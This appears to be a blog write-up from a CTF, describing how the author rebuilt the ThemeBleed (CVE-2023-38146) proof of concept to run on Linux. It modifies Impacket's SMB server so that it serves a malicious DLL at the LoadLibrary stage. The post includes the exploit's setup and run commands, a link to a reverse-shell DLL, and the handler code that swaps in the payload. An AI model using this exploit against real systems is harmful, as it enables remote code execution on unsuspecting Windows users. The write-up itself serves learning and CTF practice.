On a recent CTF machine, I had to exploit the Windows 11 ThemeBleed vulnerability (https://github.com/gabe-k/themebleed) for which at that time only one PoC existed that only ran under Windows. This was a pain for me because I hadn’t installed the required VPN on Windows.

And as I’m interested in learning new stuff, I decided to dive into this. It can’t be too hard, right?

TL;DR

https://github.com/Jnnshschl/CVE-2023-38146/

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
git clone https://github.com/Jnnshschl/CVE-2023-38146/
cd CVE-2023-38146/
pip3 install -r requirements.txt

# Build a DLL and place it in the data folder named "Aero.msstyles_vrf_evil.dll".
# -> https://github.com/Jnnshschl/ThemeBleedReverseShellDLL

python3 themebleed.py -r <YOUR_MACHINES_IP>

# Do something with the generated *.theme or *.themepack files
# and wait for the client to execute your DLL's function.

How it works

I started off by thinking about the Impacket-SMBServer. I use it quite frequently in CTF’s, and it runs under Linux. It seems like the right choice! The first step was to get an idea of how this SMBServer works.

https://github.com/fortra/impacket/blob/master/examples/smbserver.py was my starting point. I quickly decided to build a subclass of SimpleSMBServer as it contains everything needed to get a server up and running.

The original PoC shows us how to do it. When the ShareAccess type is 5 we need to send the malicious DLL file.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
// public static void CreateFileFilter(CreateFileInfo createFileInfo)
// https://github.com/gabe-k/themebleed/blob/main/SMBFilterDemo/Program.cs

if ((uint)createFileInfo.ShareAccess != 5) // if it's going to createfile, feed the signed dll
{
    Console.WriteLine("Client requested stage 2 - Verify signature");
    createFileInfo.Path = "\\??\\" + Path.Combine(ShareDirectory, "stage_2");
}
else // if it's going to load library feed the payload
{
    Console.WriteLine("Client requested stage 3 - LoadLibrary");
    createFileInfo.Path = "\\??\\" + Path.Combine(ShareDirectory, "stage_3");
}

To achieve this using the Impacket-SMBServer class, I had to dig through its command handlers located in this file: https://github.com/fortra/impacket/blob/master/impacket/smbserver.py#L4098

1
2
3
4
5
self.__smb2Commands = {
    ...
    smb2.SMB2_CREATE: self.__smb2CommandsHandler.smb2Create,
    ...
}

Which led me to this function that gets called every time a file is accessed via SMB. It opens the file too, which is great, as this is the point we need to intercept the server and feed the malicious DLL file to our Windows client.

1
2
3
@staticmethod
def smb2Create(connId, smbServer, recvPacket):
    [...]

I simply copied the whole function into my custom SMBServer class. I still needed to replace the original handler in the __smb2Commands. In Python, class properties starting with “__” cannot be modified directly. Instead, you have to access the variable in a really weird way:

1
self._SimpleSMBServer__server._SMBSERVER__smb2Commands[smb2.SMB2_CREATE] = self.tbSmb2Create

self.tbSmb2Create was my custom handler function, which, in its current state, is only a pasted version of the Impacket function. I started by inspecting the smb2Create with various debug logs and tried to discover a way to get the ShareAccess type of the client. It turned out to be as simple as writing:

1
shareAccess = ntCreateRequest["ShareAccess"]

-> In case you wonder what ShareAccess is: https://github.com/TalAloni/SMBLibrary/blob/master/SMBLibrary/NTFileStore/Enums/NtCreateFile/ShareAccess.cs

So the only thing left to do was replace the requested file with the malicious one. The point at which the server built the filename sounded very promising to me:

1
fileName = normalize_path(ntCreateRequest['Buffer'][:ntCreateRequest['NameLength']].decode('utf-16le'))

I came up with the following code, placed right beneath the filename building:

1
2
3
4
5
6
7
8
if fileName.endswith(".msstyles"): # Aero.msstyles
    logger.warning(f"Stage 1/3: \033[1;36m\"{fileName}\"\033[0m [shareAccess: \033[1;32m{shareAccess}\033[0m]")
elif fileName.endswith("_vrf.dll"): # Aero.msstyles_vrf.dll
    if shareAccess != 0x5:
        logger.warning(f"Stage 2/3: \033[1;33m\"{fileName}\"\033[0m [shareAccess: \033[1;32m{shareAccess}\033[0m]")
    else:
        logger.warning(f"Stage 3/3: \033[1;31m\"{fileName}\"\033[0m [shareAccess: \033[1;32m{shareAccess}\033[0m]")
        fileName = "Aero.msstyles_vrf_evil.dll"

And yes, it worked; that was easy!